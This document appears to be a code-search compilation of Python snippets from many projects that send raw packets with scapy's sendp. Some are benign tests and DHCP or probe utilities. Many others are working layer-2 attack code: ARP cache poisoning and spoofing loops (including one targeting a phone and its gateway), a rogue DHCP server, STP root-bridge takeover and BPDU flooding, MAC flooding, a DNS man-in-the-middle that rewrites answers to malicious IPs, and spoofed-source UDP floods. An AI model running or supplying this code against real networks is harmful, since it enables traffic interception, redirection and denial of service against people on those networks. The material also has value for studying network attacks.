Exemple #1
0
def _handle_packet(address, mac, sleeper, packet):
    if ARP not in packet:
        # I don't know how this happens, but I've seen it
        return
    if packet.hwsrc.replace(':','') == sleeper: #grat-arp from sleeper on wakeup
        logging.warning("sleeper[%s] has awakened, deregistering it" % sleeper)
        sleepproxy.manager.forget_host(sleeper)
        return
    if packet[ARP].op != ARP.who_has:
        return
    if packet[ARP].pdst != address:
        logging.debug("Skipping packet with pdst %s != %s" % (packet[ARP].pdst, address, ))
        return
    logging.debug(packet.display())

    ether = packet[Ether]
    arp = packet[ARP]

    reply = Ether(
        dst=ether.src, src=mac) / ARP(
            op="is-at",
            psrc=arp.pdst,
            pdst=arp.psrc,
            hwsrc=mac,
            hwdst=packet[ARP].hwsrc)
    logging.info("Spoofing ARP response for %s to %s" % (arp.pdst, packet[ARP].psrc))
    sendp(reply)
    def _packet_handler(self, pkt):
        """This method is called for each packet received through scapy's sniff function.
        Incoming ARP requests are used to spoof involved devices.

        Args:
            pkt (str): Received packet via scapy's sniff (through socket.recv).
        """
        # when ARP request
        if pkt[ARP].op == 1:

            # packets intended for this machine (upribox)
            if pkt[Ether].dst == self.mac:
                # incoming packets(that are sniffed): Windows correctly fills in the hwdst, linux (router) only 00:00:00:00:00:00
                # this answers packets asking if we are the gateway (directly not via broadcast)
                # Windows does this 3 times before sending a broadcast request
                sendp(Ether(dst=pkt[Ether].src) / ARP(op=2, psrc=pkt[ARP].pdst, pdst=pkt[ARP].psrc, hwdst=pkt[ARP].hwsrc, hwsrc=self.mac))

            # broadcast request to or from gateway
            elif pkt[Ether].dst.lower() == util.hex2str_mac(ETHER_BROADCAST) and (pkt[ARP].psrc == self.gateway or pkt[ARP].pdst == self.gateway):
                # spoof transmitter
                packets = [Ether(dst=pkt[Ether].src) / ARP(op=2, psrc=pkt[ARP].pdst, pdst=pkt[ARP].psrc, hwsrc=self.mac, hwdst=pkt[ARP].hwsrc)]

                # get mac address of original target
                dest = self.gate_mac
                if pkt[ARP].pdst != self.gateway:
                    # send arp request if destination was not the gateway
                    dest = util.get_mac(pkt[ARP].pdst, self.interface)

                if dest:
                    # spoof receiver
                    packets.append(Ether(dst=dest) / ARP(op=2, psrc=pkt[ARP].psrc, hwsrc=self.mac, pdst=pkt[ARP].pdst, hwdst=dest))

                # some os didn't accept an answer immediately (after sending the first ARP request after boot
                # so, send packets after some delay
                threading.Timer(self._DELAY, sendp, [packets]).start()
    def phase2(self, api_base, if_name, dpae2ctrl_mac, ctrl2dpae_mac,
                        dpae_ethertype):
        """
        Phase 2 (per DPAE sniffing interface)
        switch/port discovery
        """
        #*** Send packet with scapy:
        json_pkt_data = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        #*** Create packet to registration MAC containing our JSON data:
        reg_pkt = Ether(src=ctrl2dpae_mac, dst=dpae2ctrl_mac, \
                        type=dpae_ethertype) / Raw(load=json_pkt_data)
        #*** Send packet:
        try:
            sendp(reg_pkt, iface=if_name)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while sending discovery "
                            "packet, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0
        #*** Wait for a small amount of time:
        time.sleep(1)

        #*** Check that the controller has updated the resource with
        #***  switch/port details:
        json_query_dpae = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        try:
            r = self.s.get(api_base, data=json_query_dpae)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while retrieving from"
                            " controller, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0

        #*** Decode API response as JSON:
        api_response = JSON_Body(r.json())
        if api_response.error:
            return ({'status': 400, 'msg': api_response.error})
        self.logger.debug("Phase 2 GET response=%s", api_response.json)
        #*** Validate required keys are present in JSON:
        if not api_response.validate(['hostname_dpae', 'uuid_dpae',
                                        'dpid', 'switch_port']):
            self.logger.error("Validation error %s", api_response.error)
            return ({'status': 400, 'msg': api_response.error})
        #*** Check has our UUID correct:
        uuid_dpae_response = api_response['uuid_dpae']
        if str(uuid_dpae_response) != str(self.our_uuid):
            self.logger.error("Phase 2 response uuid_dpae mismatch")
            return 0
        #*** Success:
        return 1
Exemple #4
0
def test_empty_mixed2_w_rt_hdr_registered(child, iface, hw_dst, ll_dst, ll_src):
    # Register to routing header
    register_protnum(child, EXT_HDR_NH[IPv6ExtHdrRouting])
    # Try sending a packet with a number of extension headers in not recommended
    # (but legal) order
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /
          IPv6ExtHdrHopByHop() / IPv6ExtHdrRouting() / IPv6ExtHdrDestOpt() /
          IPv6ExtHdrFragment() / UDP() / "\x01\x02",
          iface=iface, verbose=0)
    # Routing header with payload
    child.expect(r"~~ SNIP  0 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len = int(child.match.group(1))
    # NH = IPv6ExtHdrDestOpt, len = 0x00, routing type = 0, segments left = 0
    # NH = IPv6ExtHdrFragment, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  00  00  00  00  00  00  "
                 r"{:02X}  00  01  04  00  00  00  00".format(
                        EXT_HDR_NH[IPv6ExtHdrDestOpt],
                        EXT_HDR_NH[IPv6ExtHdrFragment]
                    ))
    # NH = 17 (UDP), reserved = 0x00, fragment offset = 0, res = 0, M = 0
    child.expect(r"00000010  11  00  00  00  00  00  00  00")
    # Hop-by-hop-option
    child.expect(r"~~ SNIP  1 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrRouting, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00".format(
                 EXT_HDR_NH[IPv6ExtHdrRouting]))
    # IPv6 header
    child.expect(r"~~ SNIP  2 - size:\s+40 byte, type: NETTYPE_IPV6 \(\d+\)")
    child.expect_exact(r"length: {}  next header: {}".format(
            ipv6_payload_len, EXT_HDR_NH[IPv6ExtHdrHopByHop]
        ))
    child.expect_exact(r"destination address: {}".format(ll_dst))
    pktbuf_empty(child)
    unregister(child)
    def testLocal(self):
        # note: ignore_zero_padding necessary until '0' padding simulation bug is resolved
        record = PacketRecord(ignore_zero_padding=True)

        # start capture
        process = Popen([CLIENT_APP, DFE_IP, DFE_NETMASK, '-l', CAPTURE_FILE], env=self.env, \
            stdout=DEV_NULL, stderr=DEV_NULL)
        self.processes.append(process)

        # send packets
        for i in range(PACKET_COUNT):
            packet = IP(dst='127.0.0.2')/ICMP()
            sendp(packet, iface=self.iface, verbose=False)
            record.add_sent(packet)

        # wait for stragglers
        time.sleep(1)

        # make sure still running
        process.poll()
        self.assertTrue(process.returncode == None)

        # stop capture
        process.terminate()
        # hack: send one more packet to make sure capture closes immediately
        sendp(IP(), iface=self.iface, verbose=False)
        process.wait()

        # verify capture CAPTURE_FILE
        for packet in rdpcap(CAPTURE_FILE):
            record.add_received(packet)
        self.assertTrue(record.verify())
Exemple #6
0
def doDhcp(mac):
  chmac = macToChaddr(mac)

  L2 = Ether(dst="ff:ff:ff:ff:ff:ff", src=mac)
  L3 = IP(src="0.0.0.0", dst="255.255.255.255")
  L4 = UDP(sport=68, dport=67)
  L5 = BOOTP(chaddr=chmac)
  L6 = DHCP(options=[("message-type","discover"),"end"])

  resp = srp1(L2/L3/L4/L5/L6, filter="udp and port 68", timeout=5)

  try:
    srcIP = resp.yiaddr
  except AttributeError:
    print "Failed to acquire IP via DHCP for " + mac
    sys.exit(1)

  for x in resp.lastlayer().options:
    if(x == 'end'):
      break
    op,val = x
    if(op == "subnet_mask"):
      subnet_mask = val
    elif(op == 'server_id'):
      server_id = val

  L5 = BOOTP(chaddr=chmac, yiaddr=srcIP)
  L6 = DHCP(options=[("message-type","request"), ("server_id",server_id), ("subnet_mask",subnet_mask), ("requested_addr",srcIP), "end"])
  sendp(L2/L3/L4/L5/L6)
  return srcIP
Exemple #7
0
def main():
    if len(sys.argv) < 3:
        print "Usage: send_ele_pkt.py [pkt_num] [tcp_sport] [tcp_dport] [nhop_1, nhop_2, ...]"
        #print "For example: send_ele_pkt.py  1 2"
        sys.exit(1)

    pkt_num   = int(sys.argv[1])
    tcp_sport = int(sys.argv[2])
    tcp_dport = int(sys.argv[3])
    if len(sys.argv) is 4:
        tcp_res = 0
    else:
        tcp_res = 4

    p = Ether(dst="00:00:00:00:00:02")/IP(dst="10.0.0.2")/TCP(reserved=tcp_res, sport=tcp_sport, dport=tcp_dport)

    if tcp_res == 4:
        p = p / BytePkt(val=len(sys.argv[4:]))
        for s in sys.argv[4:]:
            p = p / BytePkt(val=int(s))
            
    for i in range(pkt_num):
        pp = p #/ 'hello-{0}'.format(i)
        print pp.show()
        hexdump(pp)
        sendp(pp, iface = "eth0")
    def testBasic(self):
        iface = self.tap.name
        record = PacketRecord()

        # start capture
        process = Popen([APP, iface, CAPTURE_FILE], stdout=DEV_NULL, stderr=DEV_NULL)

        # send packets
        for i in range(PACKET_COUNT):
            packet = IP(dst="www.google.com")/ICMP()
            sendp(packet, iface=iface, verbose=False)
            record.add_sent(packet)

        # wait for stragglers
        time.sleep(1)

        # stop capture
        process.terminate()
        # hack: send one more packet to make sure capture closes immediately
        sendp(IP(), iface=iface, verbose=False)
        process.poll()

        # verify capture file
        for packet in rdpcap(CAPTURE_FILE):
            record.add_received(packet)
        self.assertTrue(record.verify())
Exemple #9
0
    def run(self):

        debug('ARP cache poisoning thread waiting for victims...')
        ip = q.get()
        debug('Acquired first victim... %s' % ip)

        pe = Ether(src=self.mac, dst=self.rmac)
        pa = ARP(op='who-has', hwsrc=self.mac, psrc=ip, pdst=ip, hwdst=self.rmac)

        oldmac = self.whohas(ip)
        oldip = ip

        while True:
            try:
                ip = q.get_nowait()
                if oldmac is not None:
                    debug('Healing victim %s/%s' % (oldip, oldmac))
                    pa.psrc = oldip
                    pa.hwsrc = oldmac
                    sendp(pe/pa, verbose=0)
                if ip is None:
                    break
                else:
                    debug('Changing victim to %s...' % ip)
                    pa.psrc = ip
                    pa.hwsrc = self.mac
                    oldip = ip
                    oldmac = self.whohas(ip)
            except Empty:
                # Send the poison... all your base are belong to us!
                sendp(pe/pa, verbose=0)
                sleep(1/self.poison_rate)
Exemple #10
0
  def spoof( self ):
    if self.all and self.targets != self.endpoints:
      self.targets = self.endpoints
      self.craft_packets()

    for packet in self.packets:
      sendp( packet, iface_hint = self.gateway )
Exemple #11
0
    def run(self):
        """Starts multiple threads sends out packets to spoof
        all existing clients on the network and the gateway. This packets are sent every __SLEEP seconds.
        The existing clients (device entries) are read from the redis database.

        Threads:
            A SniffThread, which sniffs for incoming ARP packets and adds new devices to the redis db.
            Two HostDiscoveryThread, which are searching for existing devices on the network.
            A PubSubThread, which is listening for redis expiry messages.

        Note:
            First, ARP replies to spoof the gateway entry of existing clients arp cache are generated.
            ARP relpies to spoof the entries of the gateway are generated next.
            Unlike the holistic mode only packets for existing clients are generated.

        """
        self.sniffthread.start()
        self.arpthread.start()
        self.psthread.start()
        self.igmpthread.start()

        # lamda expression to generate arp replies to spoof the clients
        exp1 = lambda dev: Ether(dst=dev[1]) / ARP(op=2, psrc=self.gateway, pdst=dev[0], hwdst=dev[1])

        # lamda expression to generate arp replies to spoof the gateway
        exp2 = lambda dev: Ether(dst=self.gate_mac) / ARP(op=2, psrc=dev[0], pdst=self.gateway, hwdst=self.gate_mac)

        while True:
            # generates packets for existing clients
            # due to the labda expressions p1 and p2 this list comprehension, each iteration generates 2 packets
            # one to spoof the client and one to spoof the gateway
            packets = [p(dev) for dev in self.redis.get_devices_values(filter_values=True) for p in (exp1, exp2)]

            sendp(packets)
            time.sleep(self.__SLEEP)
Exemple #12
0
def is_DHCP(pkt):
    """
    This fuction check if DHCP is present in the packet.
    If packet is DHCP DISCOVER o DHCP REQUEST, sent the host configuration.
    :param pkt: This param is a UDP packet.
    :return:
    """
    global range_ip
    global ipServer
    global interface
    global gateway
    global mask
    global network
    global domain
    global domain_server

    if gateway is None:
        gateway = ipServer

    if DHCP in pkt:

        if pkt[DHCP].options[0][1] == 1:
            six.print_(colored("\n[!]", "red"), "DHCP DISCOVER LISTEN")
            print pkt.summary()

            ipClient = str(range_ip[-1])

            ether = Ether(dst="ff:ff:ff:ff:ff:ff")
            ip = IP(src=ipServer, dst="255.255.255.255")
            udp = UDP(sport=67, dport=68)

            bootp= BOOTP(op=2, yiaddr=ipClient, siaddr=ipServer, chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid)

            dhcp = DHCP(options=[('message-type', 'offer'), ('subnet_mask', mask), ('server_id', ipServer),
                                 ('lease_time', 1800), ('domain', domain), ('router', gateway),
                                 ('name_server', domain_server), 'end'])

            dhcp_offer = ether/ip/udp/bootp/dhcp

            sendp(dhcp_offer, iface=interface, verbose=0)
            six.print_(colored("\n[!]", "red"), "DHCP OFFER SEND")
            print dhcp_offer.summary()

        if pkt[DHCP].options[0][1] == 3:
            six.print_(colored("\n[!]", "red"), "DHCP REQUEST LISTEN")
            print pkt.summary()
            ipClient = str(range_ip.pop())
            ether = Ether(dst="ff:ff:ff:ff:ff:ff")
            ip = IP(src=ipServer, dst="255.255.255.255")
            udp = UDP(sport=67, dport=68)
            bootp= BOOTP(op=2, yiaddr=ipClient, siaddr=ipServer, chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid)
            dhcp = DHCP(options=[('message-type', 'ack'), ('subnet_mask', mask), ('server_id', ipServer),
                                 ('lease_time', 1800), ('domain', domain), ('router', gateway),
                                 ('name_server', domain_server), 'end'])

            ack = ether/ip/udp/bootp/dhcp

            sendp(ack, iface=interface, verbose=0)
            six.print_(colored("\n[!]", "red"), "DHCP ACK SEND")
            print ack.summary()
def main(argv):
   # global start 
   # global end
    print argv
    try:
        opts, args = getopt.getopt(sys.argv[1:],'s:e:',['start=','end='])
    except getopt.GetoptError:
        sys.exit(2)
    for opt, arg in opts:
        if opt =='-s':
            start = int(arg)
        elif opt =='-e':
            end = int(arg)
    if start == '':
        sys.exit()
    if end == '':
        sys.exit()


    interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()

    for i in xrange(1000):
        packets = Ether()/IP(dst=gendest(start, end),src=sourceIPgen())/UDP(dport=80,sport=2)
        print(repr(packets))

        sendp( packets,iface=interface.rstrip(),inter=0.1)
Exemple #14
0
    def _run(self):
        for iface, vlan in self._iface_vlan_iterator():
            self._ensure_iface_up(iface)
            data = str(''.join((self.config['cookie'], iface, ' ',
                       self.config['uid'])))
            self.logger.debug("Sending packets: iface=%s vlan=%s",
                              iface, str(vlan))

            p = scapy.Ether(src=self._get_iface_mac(iface),
                            dst="ff:ff:ff:ff:ff:ff")
            if vlan > 0:
                p = p / scapy.Dot1Q(vlan=vlan)
            p = p / scapy.IP(src=self.config['src'], dst=self.config['dst'])
            p = p / scapy.UDP(sport=self.config['sport'],
                              dport=self.config['dport']) / data

            try:
                for i in xrange(5):
                    self.logger.debug("Sending packet: iface=%s data=%s",
                                      iface, data)
                    scapy.sendp(p, iface=iface)
            except socket.error as e:
                self.logger.error("Socket error: %s, %s", e, iface)

        self._log_ifaces("Interfaces just after sending probing packages")
        for iface in self._iface_iterator():
            self._ensure_iface_down(iface)
        self._log_ifaces("Interfaces just after ensuring them down in sender")
        self.logger.info("=== Sender Finished ===")
Exemple #15
0
 def send_kill_packet(self):
     net = Network()
     kill_packet = Ether(dst=net.get_stop_eth())/IP(dst=net.get_stop_ip())/TCP()
     #sendp(kill_packet, iface=net.get_nic_name())
     nic_name = net.get_sniff_iface_name()
     #print 'kill nic_name:', nic_name
     sendp(kill_packet, iface=nic_name)
    def sendPacketFunction(self):
        with Capturing() as output:
            self.CustomSwitchLogger.info("Starting sendingPacketFunction")
        while True:

            packetDecision = self.packetQueue.get()
            self.CustomSwitchLogger.info("Packet getted for sending" + str(packetDecision))
            if packetDecision is None:
                continue
            self.CustomSwitchLogger.info("Getted after None")

            if packetDecision.inputPort == -1: # Broadcast
                for interface in self.ports.keys():
                    if interface.name == str(packetDecision.interface):
                        continue
                    iface = interface.name
                    try:
                        with Capturing() as output:
                            sendp(packetDecision.packet, iface=iface)
                        self.CustomSwitchLogger.info("Packet SentCent "+ iface+"\n\n")
                    except Exception, e:
                        self.CustomSwitchLogger.info("SentCent " +str(iface)+"  "+str(e)) 
                continue
            if self.intfs.get(packetDecision.inputPort) is None:
                continue
            iface =  self.intfs.get(packetDecision.inputPort).name

            try:
                    # pycap.inject.inject(self.intfs.get(outputPort).name).inject(packet)
                with Capturing() as output:
                    sendp(packetDecision.packet, iface=iface)
                    self.CustomSwitchLogger.info("Packet SentCent\n\n")
            except Exception, e:
                # raise e  
                self.CustomSwitchLogger.info(str(iface)+"  "+str(e)) 
Exemple #17
0
def sendPackets(iface,   # expect: string meaning athX
                channel, # expect: int meaning channel number (not Hz)
                power,   # expect: int meaning dBm
                angle,   # expect: int meaning degrees
                length, 
                numPkts):

    # Extract iface number
    ifaceNum = int(iface[-1])

    # Convert length into packet contents
    rawdata = array.array('B',
                          [1 for x in range(0,length-HEADERSIZE)]).tostring()
    
    # numPkts manipulation to account for scapy bug
    assert(numPkts > 0)
    numPkts = -numPkts # scapy bug(?) requiring negative number

    sendp(Dot11(type="Data",FCfield="to-DS",
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="06:0b:6b:c0:ff:ee",
                addr3="c0:ff:ee:%02x:%02x:%02x" % (ifaceNum, power, angle))/
          LLC(ctrl=3)/SNAP()/rawdata,
          iface=iface,
          loop=numPkts)    
def run(interface):

    pkt = sniff(stop_filter=lambda x: x.haslayer(STP), iface=interface)

    pk_list={x:y for x,y in pkt.sessions().iteritems() if "Other" in x}
    item=pk_list.popitem()
    pkts = item[1]


    for x in pkts:
        if STP in x:
            STP_packet = x
            break

    myMAC = get_if_hwaddr(interface)

    root_id = STP_packet.rootid - 1
    
    bridge_id = STP_packet.bridgeid - 1

    p_ether = Dot3(dst="01:80:c2:00:00:00", src=myMAC)
    p_llc = LLC()

    p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=myMAC, bridgemac=myMAC,
                rootid=root_id, bridgeid=bridge_id)


    pkt = p_ether/p_llc/p_stp

    try:
        while 1:
            sendp(pkt, iface=interface, verbose=0)
    except KeyboardInterrupt:
        pass
Exemple #19
0
 def rearp(signal, frame):
     sleep(1)
     print '\n[*] Re-arping network'
     rearp_mac = getmacbyip(args[0])
     pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff') / ARP(psrc=args[0], hwsrc=mac, op=2)
     sendp(pkt, inter=1, count=5, iface=options.interface)
     sys.exit(0)
Exemple #20
0
def run(inter):
    """
    This function launch STP CONF ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:

            while 1:
                # Root Identifier 8 bytes (MAC and root priority)

                srcMAC = str(RandMAC())     # Random MAC in each iteration
                root_prior = RandInt() % 65536  # 2 bytes

                # Brigde Identifier (mac and brigde priority)
                brigde_prior = RandInt() % 65536  # 2 bytes

                # dst=Ethernet Multicast address used for spanning tree protocol
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()

                p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=srcMAC,
                            bridgemac=srcMAC, rootid=root_prior, bridgeid=brigde_prior)   # Conf packet

                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass
Exemple #21
0
def ping6(send_if, dst_ip, args):
	ether = sp.Ether()
	ip6 = sp.IPv6(dst=dst_ip)
	icmp = sp.ICMPv6EchoRequest(data=PAYLOAD_MAGIC)

	req = ether / ip6 / icmp
	sp.sendp(req, iface=send_if, verbose=False)
Exemple #22
0
def test_forward_uncomp_not_first_ext_hdr(child, iface, hw_dst, ll_dst, ll_src):
    dummy = "affe::1"
    hl = random.randint(2, 255)
    # sniffing for packets to dummy
    sniffer.start_sniff(lambda p: p[Ether].src == hw_dst)
    # add dummy IPv6 address
    dst_iface = get_first_interface(child)
    hw_src = get_host_hwaddr(iface)
    add_neighbor(child, dst_iface, dummy, hw_src)
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src, hlim=hl) /
          IPv6ExtHdrHopByHop() /
          IPv6ExtHdrRouting(type=3, segleft=1, addresses=[dummy]),
          iface=iface, verbose=0)
    ps = sniffer.wait_for_sniff_results()
    p = [p for p in ps if p[Ether].src == hw_dst]
    assert(len(p) > 0)
    p = p[0]
    assert(IPv6 in p)
    assert(IPv6ExtHdrRouting in p)
    assert(p[IPv6].src == ll_src)
    assert(p[IPv6].dst == dummy)
    assert(p[IPv6].hlim == (hl - 1))
    assert(p[IPv6ExtHdrRouting].type == 3)
    assert(p[IPv6ExtHdrRouting].segleft == 0)
    pktbuf_empty(child)
    del_neighbor(child, dst_iface, dummy)
Exemple #23
0
 def run(self):
     hw = self.get_gateway_hw()
     while(self.attack):
         eth = Ether(dst=hw)
         # print eth
         eth.src = self.get_rand_mac_addr()
         sendp(eth, iface=self.ifname)
Exemple #24
0
 def listen(self, pkt):
     if pkt.haslayer(DHCP):
         if pkt[BOOTP].op == 1:
             print "DHCP Request from ", pkt[Ether].src
             self.dhcp_reply[IP].dst= pkt[IP].src
             self.dhcp_reply[BOOTP].xid = pkt[BOOTP].xid
             sendp(self.dhcp_reply, count=10)
def run(inter):

    interface = str(inter[0])
    if len(interface) > 0:
        try:

            while 1:
                # Root Identifier 8 bytes

                srcMAC = str(RandMAC())     # Random MAC in each iteration
                root_prior = RandInt() % 65536  # 2 bytes

                # Brigde Identifier
                brigde_prior = RandInt() % 65536  # 2 bytes

                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()

                p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=srcMAC, bridgemac=srcMAC,rootid=root_prior, bridgeid=brigde_prior)   # Conf packet

                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass
Exemple #26
0
    def _send_kill_packet(self):
        net = self._net 
        kill_packet = Ether(dst=net.get_stop_eth())/IP(dst=net.get_stop_ip())/TCP()
        #sendp(kill_packet, iface=net.get_nic_name())
        nic_name = net.get_sniff_iface_name()
	#print 'stop eth:', net.get_stop_eth(), 'ip:', net.get_stop_ip(), 'nic:', net.get_sniff_iface_name() 
	#kill_packet.show()
        sendp(kill_packet, iface=nic_name)
Exemple #27
0
def sender_daemon():
    global is_running
    while is_running:
        if len(pkts) > 0:
            try:
                sendp(IP(pkts.pop(0)))
            except Exception, e:
                print "sendp error: " + str(e)
        time.sleep(delay)
def arp_posion_callback(packet):
    if packet[ARP].op ==1:
        answer = Ether(dst=packet[ARP].hwsrc) / ARP()
        answer[ARP].op = "is-at"
        answer[ARP].hwdst = packet[ARP].hwsrc
        answer[ARP].psrc = packet[ARP].pdst
        answer[ARP].pdst = packet[ARP].psrc
        print "Fooling " + packet[ARP].psrc + " that " + packet[ARP].dst + " is me"
        sendp(answer, iface=sys.argv[1])
Exemple #29
0
 def send_lcp_req_packet(self, raw):
     #实际client payload
     raw = copy.deepcopy(raw)
     raw.dst, raw.src = raw.src, raw.dst
     _rawnLoad = raw.load
     #插入PAP认证
     _payload = "\x01\x04\x05\xc8\x03\x04\xc0\x23\x05\x06\x5e\x63\x0a\xb8\x00\x00\x00\x00"
     raw.load = "\x01\x01\x00" + chr(len(_payload)) + _payload
     scapy.sendp(raw)
 def inject_packet(self, iface, dst_mac):
     ether_part = Ether(src='00:00:00:00:00:00', dst=dst_mac)
     ip_part = IP(ttl=1, src='0.0.0.0', dst='224.0.0.1')
     igmp_part = IGMP(type=0x11)
     igmp_part.mrtime = (self.max_resp_time / 100) & 0xff
     igmp_part.igmpize(ether=ether_part, ip=ip_part)
     # Make this IGMP query packet as an unicast packet
     ether_part.dst = dst_mac
     sendp(ether_part / ip_part / igmp_part, iface=iface, verbose=False)
Exemple #31
0
def send(src, iface, dst, times=15, send_pkt=[]):

    #filename='/home/shlled/mininet-wifi/Log/UE%s.json' % src[7:8]
    filename = '/home/shlled/mininet-project-duan/Stackelberg/Log/UE%s.json' % src[
        7:8]
    f = open(filename, 'r')
    buffer = f.readlines()
    lenth = len(buffer)
    time.sleep(1)
    "send the latest info to BS "
    alpha = buffer[lenth - 1]
    msg = alpha
    send_pkt.append(msg)
    p = Ether() / IP(src=src, dst=dst) / ICMP() / msg
    "wait random seconds, then send in case of collision"
    t = random.randint(1, 10)
    t = float(t) / 10.0
    time.sleep(t)
    sendp(p, iface=iface)
    f.close()
 def _mitm_dns_proxy(self, p, timeout=5):
     """proxy and manipulate dns query/response between client and dns server"""
     # forward dns request from client
     hostname = p[DNS].qd.qname.decode(encoding='ascii')[:-1]
     fake_dns_req = Ether() / IP(dst=self.dns_ip) / UDP(
         dport=p[UDP].dport) / p[DNS]
     res = srp1(fake_dns_req, verbose=False, timeout=timeout)
     # forward dns response from dns server
     if res is not None:
         layer_23 = Ether() / IP(dst=self.client_ip, src=self.dns_ip)
         udp = UDP(dport=p[UDP].sport)
         dns = res[DNS]
         for e in self.MALICIOUS_DNS:
             target_host, ip = e[0], e[1]
             if hostname == target_host:
                 dns.an.rdata = ip
                 sendp(layer_23 / udp / dns, verbose=False)
                 print(
                     f"# resolve {hostname} to {dns.an.rdata} for the client"
                 )
Exemple #33
0
def main():

    while (1):
        msg = raw_input("get or put or quit. eg: put 1 11, get 1, q :")
        paras = msg.split()
        #p =  Ether() / IP() / UDP()
        # p = None
        if paras[0] == 'put':
            #pdb.set_trace()
            p = KeyValue(mtype=1, key=int(paras[1]), value=int(paras[2]))
            print p.show()
            sendp(p, iface="eth0")
        elif paras[0] == 'get':
            p = KeyValue(mtype=0, key=int(paras[1]))
            print p.show()
            sendp(p, iface="eth0")
        elif paras[0] == 'q':
            break
        else:
            print "Not supported request type. Please input again"
Exemple #34
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr', type=str, help="The destination IP address to use")
    #parser.add_argument('message', type=str, help="The message to include in packet")
    parser.add_argument('--dst_id', type=int, default=None, help='The myTunnel dst_id to use, if unspecified then myTunnel header will not be included in packet')
    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip_addr)
    dst_id = args.dst_id
    iface = get_if()

    for i in range(100):
        
        print "sending on interface {} to dst_id {}".format(iface, str(dst_id))
        pkt =  Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / MyTunnel() / IP(dst=addr) / TCP(dport=1234, sport=random.randint(49152,65535)) /randomString(50) 
        pkt.show2()
#    hexdump(pkt)
#    print "len(pkt) = ", len(pkt)
        sendp(pkt, iface=iface, verbose=False)
Exemple #35
0
def send_packet(pkt_ip, cnt=1, ipVer=8, iface=None):
    """send packet through eth0 or 1st available interfaces"""
    if iface is None:
        ifs = get_if_list()
        for i in ifs:
            if "eth0" in i:
                iface = i
                break
        if not iface:  # tmp test
            iface = 'lo'
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff', type=0x888)

    pkt = pkt / pkt_ip
    pkt.show()

    t0 = time.time()
    sendp(pkt, iface=iface, count=cnt, inter=0.001, verbose=True)
    t_span = time.time() - t0
    print("send {} IPv{} packts use {} sec".format(cnt, ipVer, t_span))
    return iface
Exemple #36
0
def main():

    if len(sys.argv) < 6:
        print 'pass 5 arguments: <destination> <port> "<message>" <repeat> <period(ms)>'
        exit(1)

    repeat = int(sys.argv[4])
    period = float(sys.argv[5])
    addr = socket.gethostbyname(sys.argv[1])
    port = int(sys.argv[2])
    iface = get_if()

    print "sending on interface %s to %s" % (iface, str(addr))
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') / IP(
        dst=addr, proto=HULAPP_BACKGROUND_PROTOCOL) / HulappBackgroundProtocol(
            port=port) / sys.argv[3]
    #pkt.show2()
    for i in range(repeat):
        sendp(pkt, iface=iface, verbose=False)
        sleep(period / 1000)
Exemple #37
0
 def _mitm_dns_query(self, p, timeout=5):
     """proxy dns query between client and dns server,
     return (hostname, hostaddr)"""
     # forward dns request from client
     hostname = p[DNS].qd.qname.decode(encoding='ascii')[:-1]
     fake_dns_req = Ether() / IP(dst=self.dns_ip) / UDP() / p[DNS]
     res = srp1(fake_dns_req, verbose=False, timeout=timeout)
     if res is None:
         return hostname, None
     # forward dns response from dns server
     fake_dns_res = Ether() / IP(dst=self.client_ip, src=self.dns_ip) / UDP(
         dport=p[UDP].sport) / res[DNS]
     sendp(fake_dns_res, verbose=False)
     # return
     hostaddr = res[DNS].an.rdata if res[DNS].an is not None else None
     try:
         hostaddr = hostaddr.decode(encoding="ascii")
     except Exception:
         pass
     return hostname, hostaddr
Exemple #38
0
def trick():
    pk = Ether(src=Config["my_mac"], dst=Config["phone_mac"]) / ARP(
        hwsrc=Config["my_mac"],
        psrc=Config["gate_ip"],
        hwdst=Config["phone_mac"],
        pdst=Config["phone_ip"],
        op=2)

    for i in range(50):
        sendp(pk, iface=argv["interface"])

    pk_to_router = Ether(src=Config["my_mac"], dst=Config["gate_mac"]) / ARP(
        hwsrc=Config["my_mac"],
        psrc=Config["phone_ip"],
        hwdst=Config["gate_mac"],
        pdst=Config["gate_ip"],
        op=2)

